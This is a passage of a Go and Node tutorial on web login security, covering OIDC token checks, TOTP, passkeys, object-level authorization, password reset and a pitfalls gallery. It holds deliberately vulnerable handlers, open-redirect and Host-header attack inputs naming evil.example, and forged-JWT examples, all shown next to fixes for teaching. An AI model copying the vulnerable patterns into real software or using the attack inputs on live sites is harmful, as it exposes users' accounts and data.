<issuer>/.well-known/openid-configuration, and itsjwks_urisays where the keys are. (Google's ishttps://www.googleapis.com/oauth2/v3/certs— not under the issuer at all.) issequals the provider you configured.audcontains yourclient_id. Otherwise it's an ID token some other app received — maybe a malicious one Ada also uses — being replayed at yours. Ifaudlists several apps, theazp("authorized party") claim must be yours.expis in the future.nonceequals the one you stored in Ada's session when you started the login. This ties the token to this login attempt, so an old or stolen ID token can't be pasted in.
Go has github.com/coreos/go-oidc/v3 (it does discovery, JWKS caching and checks 1–4; you add azp and the nonce). In Node, fetch the discovery document once at startup and hand its jwks_uri to jose's createRemoteJWKSet.
import (
"context"
"errors"
"net/http"
"github.com/coreos/go-oidc/v3/oidc"
"golang.org/x/oauth2"
)
const clientID = "my-client-id"
func verifyIDToken(ctx context.Context, raw, expectedNonce string) (*oidc.IDToken, error) {
// Reads /.well-known/openid-configuration, then fetches and caches the JWKS from its jwks_uri.
// (Real code: create the provider and verifier once at startup, not per login.)
provider, err := oidc.NewProvider(ctx, "http://localhost:18433") // e.g. https://accounts.google.com
if err != nil {
return nil, err
}
verifier := provider.Verifier(&oidc.Config{
ClientID: clientID, // checks aud contains your client ID
SupportedSigningAlgs: []string{oidc.RS256}, // pinned, like §05
})
tok, err := verifier.Verify(ctx, raw) // signature, iss, aud, exp
if err != nil {
return nil, err
}
var extra struct {
Azp string `json:"azp"` // "authorized party"
}
if err := tok.Claims(&extra); err != nil {
return nil, err
}
if len(tok.Audience) > 1 && extra.Azp != clientID { // several audiences → azp must be us
return nil, errors.New("azp mismatch")
}
if tok.Nonce != expectedNonce { // go-oidc does NOT check the nonce for you
return nil, errors.New("nonce mismatch")
}
return tok, nil
}
// In the callback handler, after the code exchange from §07:
func finishLogin(w http.ResponseWriter, r *http.Request, tok *oauth2.Token, nonce string) {
raw, _ := tok.Extra("id_token").(string) // the extra field in the token response
idTok, err := verifyIDToken(r.Context(), raw, nonce)
if err != nil {
http.Error(w, "login failed", http.StatusUnauthorized)
return
}
var claims struct {
Email string `json:"email"`
EmailVerified bool `json:"email_verified"`
}
if err := idTok.Claims(&claims); err != nil {
http.Error(w, "login failed", http.StatusUnauthorized)
return
}
// look up or create the user by (idTok.Issuer, idTok.Subject), then start a session (§03)
}Real output against a local test provider that serves its keys at /certs (so a hard-coded /jwks URL would fail with ERR_JOSE_GENERIC Expected 200 OK from the JSON Web Key Set HTTP response): a good token gives the user ID 248289761001 in Go and the claims above in Node. The failures:
wrong nonce: nonce mismatch
aud = [my-client-id, other-app],
azp = other-app: azp mismatch
checked as another app (Go): oidc: expected audience "someone-elses-app" got ["my-client-id"]After validation: your own session
Once the ID token checks out, its job is done. Look up (or create) the user by (iss, sub), then start a normal session exactly like §03 — new session ID, __Host- cookie. Don't keep the ID token as a login cookie, and don't send it to APIs.
If you need more profile data than the ID token holds, call the provider's UserInfo endpoint (its URL is in the discovery document) with the access token: GET /userinfo with Authorization: Bearer … returns claims like name and picture.
MFA and passkeys
Multi-factor authentication asks for two different kinds of proof:
- something you know — a password;
- something you have — a phone, a security key;
- something you are — a fingerprint or face, usually just unlocking the "have" factor on your device.
The point is independence: a password leaked in someone else's breach (and replayed by credential stuffing) is useless without your phone.
How an authenticator-app code works
The 6 digits in Google Authenticator or 1Password are TOTP. At setup, the site and the app agree on a random secret (that's what the QR code contains). After that, both compute the same code from the secret and the current 30-second window — no network needed:
import (
"crypto/hmac"
"crypto/sha1"
"encoding/binary"
"fmt"
"time"
)
// TOTP (RFC 6238): a 6-digit code from a shared secret and the current 30-second window.
func totp(secret []byte, t time.Time) string {
counter := uint64(t.Unix() / 30) // same number on phone and server for 30 s
msg := binary.BigEndian.AppendUint64(nil, counter)
mac := hmac.New(sha1.New, secret)
mac.Write(msg)
sum := mac.Sum(nil) // 20 bytes
off := sum[len(sum)-1] & 0x0f // "dynamic truncation": pick 4 bytes…
n := binary.BigEndian.Uint32(sum[off:off+4]) & 0x7fffffff
return fmt.Sprintf("%06d", n%1_000_000) // …and keep the last 6 digits
}Both print 287082 for Unix time 59 and 081804 for 1111111109 — the last six digits of the official test values in RFC 6238. The server side adds three things: accept the previous and next window too (phones' clocks drift), reject a code that was already used, and rate-limit attempts — six digits is only a million possibilities.
The weakness every code shares
SMS codes have extra problems — an attacker can talk your carrier into moving your number to their SIM ("SIM swap") — but authenticator-app codes and push prompts share a deeper one: a human reads something and types or taps it. A phishing proxy sits between Ada and the real site and relays it all in real time. Off-the-shelf phishing kits do exactly this. Run the same attack against each factor:
Passkeys: the browser checks the domain
A passkey is a key pair (see public-key crypto) made for one site, stored by the phone, laptop or password manager, and unlocked with a fingerprint, face or PIN. The standard behind it is WebAuthn.
- Sign-up: the device creates a key pair for
example.comand gives the site only the public key. - Login: the site sends a random challenge; the device signs it with the private key. The browser adds the page's origin into what gets signed, and only offers passkeys whose site matches the page's domain.
So there's no shared secret to steal from the server, nothing for Ada to type, and a look-alike domain gets nothing usable — the browser, not the human, compares the domain. That's what "phishing-resistant" means. In the browser it's one call:
const options = await (await fetch("/passkey/options")).json(); // server makes a fresh random challenge
const assertion = await navigator.credentials.get({
publicKey: {
challenge: base64urlToBytes(options.challenge), // single-use, from the server
rpId: "example.com", // the site this passkey belongs to
userVerification: "required", // fingerprint / face / PIN on the device
},
});
await fetch("/passkey/verify", { method: "POST", body: JSON.stringify(serialize(assertion)) });(base64urlToBytes and serialize are small helpers your WebAuthn library provides.) On the server, don't write the verification yourself: it parses a binary format and checks the challenge, origin, signature and a signature counter. Use github.com/go-webauthn/webauthn in Go or @simplewebauthn/server in Node.
Authorization: roles, attributes, relationships
Back to the invoice bug from §01. Here's the server that had it, and the one-line fix, in full. A middleware does authentication for every route; the handler does authorization for the one invoice it loaded:
package main
import (
"context"
"encoding/json"
"log"
"net/http"
"sync"
)
type Invoice struct {
ID string `json:"id"`
OwnerID string `json:"owner_id"`
Total int `json:"total_cents"`
}
var (
mu sync.Mutex
sessions = map[string]string{"sess-ada": "u_1", "sess-bob": "u_2"} // session ID → user ID
invoices = map[string]Invoice{
"inv_1001": {"inv_1001", "u_1", 4200},
"inv_1002": {"inv_1002", "u_2", 99000},
}
)
type ctxKey struct{}
// requireUser is middleware: AuthN happens here, once, for every route it wraps.
func requireUser(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
c, err := r.Cookie("__Host-sid")
mu.Lock()
userID, ok := "", false
if err == nil {
userID, ok = sessions[c.Value]
}
mu.Unlock()
if !ok {
http.Error(w, "not logged in", http.StatusUnauthorized) // 401: who are you?
return
}
ctx := context.WithValue(r.Context(), ctxKey{}, userID) // pass "who" to the handler
next(w, r.WithContext(ctx))
}
}
func currentUser(r *http.Request) string { return r.Context().Value(ctxKey{}).(string) }
// ✕ VULNERABLE: logged in? yes. Is it YOUR invoice? never asked.
func getInvoiceLeaky(w http.ResponseWriter, r *http.Request) {
inv, ok := invoices[r.PathValue("id")]
if !ok {
http.NotFound(w, r)
return
}
json.NewEncoder(w).Encode(inv)
}
// ✓ FIXED: the object-level check lives next to the data.
func getInvoice(w http.ResponseWriter, r *http.Request) {
inv, ok := invoices[r.PathValue("id")]
if !ok || inv.OwnerID != currentUser(r) { // ← AuthZ: is this yours?
http.NotFound(w, r) // 404, not 403: don't confirm it exists
return
}
json.NewEncoder(w).Encode(inv)
}
func main() {
http.HandleFunc("GET /leaky/invoices/{id}", requireUser(getInvoiceLeaky))
http.HandleFunc("GET /invoices/{id}", requireUser(getInvoice))
log.Fatal(http.ListenAndServe("localhost:8080", nil))
}Logged in as Ada (u_1), real output from the Go server:
$ curl -b "__Host-sid=sess-ada" localhost:8080/leaky/invoices/inv_1002
{"id":"inv_1002","owner_id":"u_2","total_cents":99000} ← Bob's invoice. 200.
$ curl -b "__Host-sid=sess-ada" localhost:8080/invoices/inv_1001
{"id":"inv_1001","owner_id":"u_1","total_cents":4200}
$ curl -b "__Host-sid=sess-ada" localhost:8080/invoices/inv_1002
404 page not found
$ curl localhost:8080/invoices/inv_1001
not logged in ← 401Where each check lives
| Check | Lives in | Why there |
|---|---|---|
| Who are you? (session/JWT valid) | Middleware, or the API gateway | The same for every route, so do it once and never forget it |
Coarse rules ("only admins reach /admin/*") | Middleware / router | Doesn't need the object |
| May you touch this object? | Handler or service layer, right after loading it | Needs the object's owner, tenant, status — which only exist once it's loaded |
| Which objects can you even see? | The database query | Lists and searches must filter, not fetch-all-then-check |
The last row matters for lists. GET /invoices should never load every invoice and filter in code; put the rule into the query so the database only returns rows you may see:
-- ✕ every invoice of every customer, then hope the code filters
SELECT * FROM invoices ORDER BY created_at DESC LIMIT 50;
-- ✓ the authorization rule is part of the query
SELECT * FROM invoices WHERE owner_id = $1 ORDER BY created_at DESC LIMIT 50;In a Multi-tenant app, tenant_id = $1 goes into every query (or into a database row-level security policy), because one missed WHERE leaks a whole customer's data to another.
Three ways to write the rules
Once there are more rules than "owner only", you need a model. Try the same request under each:
- RBAC (role-based) — permissions go to roles, roles to users: managers may approve. Simple and easy to audit ("who can approve?" = "who's a manager?"). Its blind spot: roles say what kind of action, never which object. Under pure RBAC, Ada the member can read Bob's invoice — that's BOLA again.
- ABAC (attribute-based) — rules over attributes of the user, the object and the situation: a manager may approve invoices from their own department, not their own, under $10,000. Very expressive; harder to answer "who can do X?".
- ReBAC (relationship-based) — access follows a graph of relationships: owner of, member of, shared with. It's how Google Docs sharing works ("anyone in the folder's team can edit"). Google described its version, Zanzibar, in a 2019 paper; OpenFGA and SpiceDB are open-source systems built on the idea.
Most real systems combine them: roles for coarse features, attributes or relationships for object-level checks.
Writing the rules down: one function, deny by default
Whatever the model, put the rules in one place that every handler calls, and make "no" the answer when nothing matched (deny by default):
type User struct{ ID, Role, Dept string }
type Invoice struct {
OwnerID, Dept, Status string
Cents int
}
// Can is the ONLY place that decides. Handlers call it; they never re-implement rules.
func Can(u User, action string, inv Invoice) bool {
switch action {
case "read":
return inv.OwnerID == u.ID || (u.Role == "manager" && u.Dept == inv.Dept) || u.Role == "auditor"
case "edit":
return inv.OwnerID == u.ID && inv.Status == "draft"
case "approve":
return u.Role == "manager" && u.Dept == inv.Dept && inv.OwnerID != u.ID && inv.Cents <= 1_000_000
}
return false // ← unknown action, or a new one nobody wrote a rule for: deny
}The return false at the end is the important line. Someone adds a "refund" action next year and forgets the rule: with deny-by-default, refunds are blocked for everyone (a bug report); with allow-by-default, they're open to everyone (an incident). Pair it with Least privilege: new roles start with nothing and get permissions added.
Staff-level: auth in production
Brute force and credential stuffing
Two attacks hit every login form on the internet:
- Brute force: many passwords against one account.
- Credential stuffing: one leaked password each against millions of accounts, from thousands of IP addresses, hoping people reused passwords. This is the common one.
The defenses stack (Defense in depth):
- Slow hashing (bcrypt/Argon2, Crypto Basics) makes each guess cost the attacker server time and makes a stolen database slow to crack.
- Rate limits on two keys: per account (stops brute force) and per IP or network (slows stuffing). Rate Limiting covers choosing keys and the algorithms.
- Don't hard-lock accounts. "Locked after 5 failures" lets anyone lock out your CEO by typing wrong passwords — a denial of service. Prefer growing delays, a CAPTCHA after a few failures, and an email to the owner.
- Refuse known-breached passwords at sign-up and password change. Have I Been Pwned's range API lets you check without sending the password: you send the first 5 hex characters of its SHA-1 hash and compare the returned list locally.
- MFA and passkeys (§09) make a correct password insufficient on its own.
Account enumeration
If your site answers differently for "no such account" and "wrong password", an attacker can test a list of emails and learn who your users are — a ready-made target list. That's account enumeration, and it hides in three endpoints, not one:
| status | message | time | |
|---|---|---|---|
| Press probe. | |||
The login leak isn't only the message. Measured on one test machine (Go, bcrypt cost 10, average of 20 runs) with a handler that returns early for unknown emails:
ada@example.com 53.7ms ← exists: bcrypt ran
nobody@example.com 69ns ← doesn't: returned immediatelyThat's a difference of nearly a million times, visible through any network. The dummyHash compare in §02 is the fix: unknown emails do the same slow work.
Password reset: a login by email
A reset link logs someone in, so treat the token like a password:
type reset struct {
UserID string
Expires time.Time
}
var resets = map[string]reset{} // sha256(token) → reset (a DB table in production)
// RequestReset answers the same way whether or not the email exists (the handler
// always says "If an account exists, we've emailed a link").
func RequestReset(email string) {
u, ok := users[email]
if !ok {
return
}
token := rand.Text() // 128 random bits
resets[hashToken(token)] = reset{UserID: u.ID, Expires: time.Now().Add(30 * time.Minute)}
enqueueEmail(email, "https://shop.example/reset#token="+token) // # keeps it out of server logs
// enqueue, don't send inline: sending takes time, and that time would reveal the account exists
}
func CompleteReset(token, newPassword string) error {
key := hashToken(token)
r, ok := resets[key]
delete(resets, key) // single use, even if what follows fails
if !ok || time.Now().After(r.Expires) {
return errors.New("this link has expired; request a new one")
}
hash, err := bcrypt.GenerateFromPassword([]byte(newPassword), bcrypt.DefaultCost)
if err != nil {
return err
}
setPassword(r.UserID, hash)
deleteAllSessions(r.UserID) // whoever else was logged in is now out
return nil
}The rules, each closing a real hole:
- Random, single-use, short-lived (15–60 min). A reset token in an old email shouldn't work next month.
- Same answer, same speed. Reply identically whether or not the email exists, and put the email on a background queue so the response time doesn't give it away either.
- Store only its hash. A read-only database leak must not hand out working reset links.
- Keep it out of logs. Put the token after
#(the fragment): browsers never send that part to the server, so it can't land in access logs or aRefererheader. The reset page's JavaScript reads it and POSTs it. - Log out everywhere afterwards. People reset passwords because they suspect someone got in.
- Build links from config, not the request. If you build the link from the request's
Hostheader, an attacker can request a reset for your user withHost: evil.exampleand get a link to their own site emailed to your user.
Session storage at scale
A session lookup happens on every request, so the store is on your critical path:
- One shared store, not sticky sessions: pinning each user to one server breaks on every deploy and failover.
- Redis is the usual choice. Run it with a replica; if it's down, everyone is logged out (or every request fails). Decide which one you want before the outage.
- Keep sessions small — the user ID, expiry and a few flags. Load the user's details from the database (or a cache) when you need them, so a permission change isn't stuck inside old sessions.
- Keep an index per user (
user:u_1:sessions) so "log out everywhere" and "show my active devices" are one lookup.
Auth at the gateway vs in the service
An API gateway can verify tokens once for every service behind it. That's good for authentication — one implementation, rate limits in one place. It does not remove authorization from the services: only the invoices service knows who owns inv_1002.
How the gateway passes the identity on matters:
- A plain header like
X-User-Id: u_1works only if nothing but the gateway can reach the service. If anyone can send traffic straight to it, they can write that header themselves. Strip incoming copies of the header at the gateway, and lock the service's network down. - Better: forward a signed token — the original JWT, or a fresh short-lived one minted for that one service (token exchange). The service verifies it like any JWT (§05), with
audset to itself.
Service-to-service: zero trust
"It's on the internal network, so it's trusted" is how one compromised pod (one running copy of a service in Kubernetes) becomes a compromised company. Zero trust means every service call carries an identity that is checked, same as a user's:
- Workload identity via mTLS. Each service gets a short-lived certificate naming it, e.g. a SPIFFE ID
spiffe://example.com/ns/prod/sa/billing; both sides of every connection verify each other (mTLS and termination). A Service mesh such as Istio or Linkerd can do this without code changes. - Authorization between services, not just authentication: "billing may call
GET /invoices; the recommendations service may not". Deny by default here too. - Propagate the end user as a token (above), so the invoices service can still check "is this Ada's invoice?" when the call came through billing.
Pitfalls gallery
Checking “logged in” and calling it authorization
The §01 bug. Every handler that loads something by ID must check the caller may touch that thing (§10).
inv, ok := invoices[r.PathValue("id")]
if !ok {
http.NotFound(w, r)
return
}
json.NewEncoder(w).Encode(inv) // anyone logged ininv, ok := invoices[r.PathValue("id")]
if !ok || !Can(currentUser(r), "read", inv) {
http.NotFound(w, r) // 404: don't confirm it exists
return
}
json.NewEncoder(w).Encode(inv)Taking the user's identity from the request body
If the client says who it is, the client can say it's someone else. Identity comes from the verified session or token, never from a form field, query parameter or a header the client controls.
// POST /transfer { "from": "u_1", "to": "u_9", "amount": 500 }
await transfer(body.from, body.to, body.amount); // "from" is whatever the client typed// POST /transfer { "to": "u_9", "amount": 500 }
const userId = await requireSession(req); // from the verified session
await transfer(userId, body.to, body.amount); // the client can't choose "from"Mass assignment: the user edits a field they shouldn't
"Update my profile" decodes the JSON body straight into the user record. The user adds "role": "admin" to the body, and now they are one. That's authorization on fields, not just objects.
var u User // has Name, Email, Role, …
json.NewDecoder(r.Body).Decode(&u) // decodes ANY field sent
db.SaveUser(currentUser(r), u)var in struct { // only what users may change
Name string `json:"name"`
Email string `json:"email"`
}
json.NewDecoder(r.Body).Decode(&in)
db.UpdateProfile(currentUser(r), in.Name, in.Email)(Error handling trimmed in both; real code checks Decode's error. And changing an email address should require confirming the new address before it takes effect.)
Trusting what the browser says about permissions
if (localStorage.isAdmin) showAdminButton() is fine for showing a button. It's not security: anyone can open dev tools and set it. The server must re-check on every request to the admin API. The UI hides things; the server forbids them.
Decoding a JWT instead of verifying it, or letting it pick its algorithm
decodeJwt, jwt.decode, ParseUnverified read a token without checking anything. And a verifier that reads alg from the token can be fed none or an HS256-signed-with-the-public-key forgery. Verify with a library, an alg allow-list, and iss/aud/exp checks (§05).
A 24-hour JWT with no way to revoke it
"Log out" deletes the token from the browser — but a copy stolen an hour ago works until tomorrow. Keep access tokens to minutes, use rotating refresh tokens, and keep a denylist for emergencies (§06). Or use a session (§03).
Tokens in URLs, logs and localStorage
/download?token=eyJ… ends up in browser history, proxy logs, analytics and the Referer header sent to other sites. localStorage is readable by any script on the page. Send tokens in the Authorization header or an HttpOnly cookie, and scrub Authorization and Cookie from request logs.
An open redirect after login
/login?next=/orders is convenient. /login?next=https://examp1e.com/login sends your freshly logged-in user to a phishing page that looks like yours — with your real domain in the original link, so it looks trustworthy. Only redirect to paths on your own site, and check the path after the URL parser has cleaned it up, because a path can turn into a different host on the way.
const ORIGIN = "https://shop.example";
// ✕ VULNERABLE: redirects anywhere at all.
res.writeHead(302, { location: query.get("next") }).end();
// ✓ FIXED: returns a path on our own site, or "/".
function safeNext(raw) {
let u;
try {
u = new URL(raw ?? "/", ORIGIN); // resolves relative paths, dot segments, backslashes
} catch {
return "/";
}
if (u.origin !== ORIGIN) return "/"; // another host or scheme (https://evil, javascript:…)
const target = u.pathname + u.search + u.hash;
if (target.startsWith("//") || target.startsWith("/\\")) return "/"; // browsers read these as a host
return target;
}
res.writeHead(302, { location: safeNext(query.get("next")) }).end();Why the last check matters: the parser turns /.//evil.example into the path //evil.example, which is still "our origin" to the parser — but sent as a Location header, a browser reads //evil.example as another host. An earlier version of this page missed that. Real results from both functions:
next= | Node 22 | Go 1.24 |
|---|---|---|
/orders?page=2 | /orders?page=2 | /orders?page=2 |
/orders#top | /orders#top | /orders#top |
orders | /orders | /orders |
//evil.example | / | / |
/\evil.example | / | /%5Cevil.example (an escaped \, so a path on our site) |
/.//evil.example | / | / |
/x/..//evil.example | / | / |
https://evil.example/a | / | / |
javascript:alert(1) | / | / |
%2F%2Fevil.example | /%2F%2Fevil.example (a path on our site) | /%2F%2Fevil.example |
/ + tab + /evil.example | / | / |
https://shop.example.evil.example/ | / | / |
Comparing secrets with ==
if apiKey == expected stops at the first different byte, so the time it takes leaks how much of the guess was right — in principle letting an attacker find the key one byte at a time. Use a constant-time comparison: subtle.ConstantTimeCompare in Go, crypto.timingSafeEqual in Node (as verifyPassword did in §02). Better still, store API keys hashed and look up the hash. Crypto Basics covers why.
Same session ID before and after login
Without a new ID at login, a planted session ID becomes a logged-in one: session fixation (§03). Issue a fresh ID whenever privilege changes — login, logout, sudo mode, password change.
Using an OAuth access token as proof of login
"The client sent a valid Google access token, so log them in" lets any app that ever got a token for that user log in as them — the token wasn't addressed to you. Log in with OIDC: verify the ID token, check aud is your client ID, check the nonce (§08). And always send state and PKCE (§07).
Logout that only clears the cookie
The browser forgets the cookie, but the session ID is still valid on the server. Anyone who copied it — malware, a shared computer's cookie jar, a log file — stays logged in. Delete the session server-side first, then clear the cookie (§03).
Check yourself
Predict the answer before you click. Each one is covered above: Q1 in §01 and §10, Q2 in §03, Q3–Q4 in §05, Q5 in §06, Q6 in §07, Q7 in §08.
Ada is logged in (valid session). She requests GET /invoices/inv_1002, which belongs to Bob and is private. What should the server answer?
Set-Cookie: __Host-sid=ODABI2O7; Path=/; HttpOnly; SameSite=Lax// token was signed with role "user"; the attacker edited the payload to role "admin"
// and kept the original signature
console.log(decodeJwt(forged).role);
await jwtVerify(forged, secret, { algorithms: ["HS256"] });
console.log("verified");// The server signs with Ed25519. Its keyfunc returns the public key's raw bytes.
// An attacker sends an HS256 token, HMAC'd with those same public bytes.
_, err := jwt.Parse(forged, func(t *jwt.Token) (any, error) {
return []byte(pub), nil
})
fmt.Println(err)Malware copies Ada's refresh token RT1. Ada's app then refreshes normally (RT1 → RT2). An hour later the attacker sends RT1. With rotation and reuse detection, what happens?
In the authorization code flow, an attacker copies code=SplxlO… from the redirect URL and posts it to the token endpoint first.
Signature valid against Google's JWKS, iss is https://accounts.google.com, exp is in the future, nonce matches — but aud is another-app.apps.googleusercontent.com, not your client ID.
Cheat sheet
__Host-sid=…; Path=/; Max-Age=…; HttpOnly; Secure; SameSite=Lax. No Domain.alg, key you chose (JWKS by kid), exp required, nbf, iss, aud, seconds of leeway.state, exact redirect URIs. Client credentials for machines. No implicit, no password grant.iss, aud = your client ID, exp, nonce. Key users by (iss, sub). Then start your own session.can(user, action, object) function, deny by default; filter lists in the query; tenant ID in every query.| I want to… | Use |
|---|---|
| Log users into my own web app | Session in Redis + __Host- cookie (§02–§03) |
| Let many services trust one login | Short-lived JWTs signed with EdDSA/RS256, verified via JWKS (§04–§05) |
| Cancel access immediately | Sessions; for JWTs: short exp + refresh rotation + a jti denylist (§06) |
| Act on a user's data at another service | OAuth 2.0 authorization code + PKCE (§07) |
| "Sign in with Google" | OIDC; verify the ID token and nonce (§08) |
| A backend job calling an API | Client credentials, or workload identity / mTLS (§07, §11) |
| Stop credential stuffing | Rate limits per account and per IP, breached-password checks, MFA (§11) |
| Decide who can do what | RBAC for features + ownership/attribute or relationship checks per object (§10) |
| Go | Node |
|---|---|
golang.org/x/crypto/bcrypt | crypto.scrypt (built in) |
crypto/rand.Text() (Go 1.24+) | crypto.randomBytes(32).toString("base64url") |
github.com/golang-jwt/jwt/v5 + WithValidMethods | jose jwtVerify(…, { algorithms }) |
golang.org/x/oauth2 (S256ChallengeOption, VerifierOption) | openid-client, or fetch + URLSearchParams |
github.com/coreos/go-oidc/v3 | jose createRemoteJWKSet |
github.com/go-webauthn/webauthn | @simplewebauthn/server |
crypto/subtle.ConstantTimeCompare | crypto.timingSafeEqual |